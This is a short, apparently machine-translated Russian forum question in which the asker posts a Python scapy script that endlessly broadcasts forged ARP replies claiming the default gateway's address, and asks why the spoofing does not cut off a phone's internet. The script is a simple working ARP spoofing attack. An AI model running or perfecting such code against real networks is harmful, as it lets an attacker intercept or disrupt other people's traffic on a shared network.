Пишите ARP-спуфинг правильно - PullRequest
1 голос
/ 27 мая 2019

Спуфинг ARP, который я написал, не работает даже из-за того, что когда я нюхаю пакеты, кажется, что все должно работать.

Я написал простой ARP-спуфинг, который сообщает каждому в подсети, что я по умолчанию. Вот мой код:

from scapy.all import *
import sys 

DEFULT_GETAWAY = "192.168.1.1"
MY_MAC = "30:24:30:8F:B4:64"
def main():

    while(1):
        pkt = send(ARP(op=ARP.is_at, psrc=DEFULT_GETAWAY, pdst="255.255.255.255", hwsrc=MY_MAC, hwdst="ff:ff:ff:ff:ff:ff"))

if __name__ == "__main__" :
    main()

Я ожидаю, что когда я пытаюсь получить доступ к Интернету с моего телефона (подключенного к маршрутизатору), он не будет работать, но работает.

результат акул проволоки: 192.168.1.1 is at 30:24:30:8f:b4:64 (в нюхании похоже, что все работает).

...